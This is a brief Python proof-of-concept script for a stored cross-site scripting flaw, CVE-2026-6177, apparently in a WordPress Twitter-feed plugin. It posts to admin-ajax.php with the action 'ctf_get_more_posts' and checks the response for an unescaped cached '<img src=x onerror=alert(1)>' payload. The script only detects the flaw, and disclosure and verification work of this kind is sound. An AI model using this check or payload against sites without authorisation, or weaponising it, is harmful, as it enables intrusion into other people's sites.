CVE-2026-6177

# Proof of Concept for CVE-2026-6177 # This script demonstrates triggering the stored XSS via the vulnerable AJAX endpoint. # Note: The malicious tweet must be cached by the target site first. import requests def check_poc(target_site): # The vulnerable AJAX action url = f"{target_site}/wp-admin/admin-ajax.php" # Payload parameters data = { "action": "ctf_get_more_posts", # Additional parameters like 'feed_id', 'offset' may be required depending on config } try: response = requests.post(url, data=data) # Check if the response reflects unescaped HTML (e.g., <img> tag) # Assuming the cached tweet contains: <img src=x onerror=alert(1)> if "<img" in response.text and "alert(1)" in response.text: print("[+] Vulnerability Confirmed: Unescaped script found in response.") return True else: print("[-] Vulnerability not detected or payload not cached yet.") return False except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://target-wordpress-site.com" check_poc(target)

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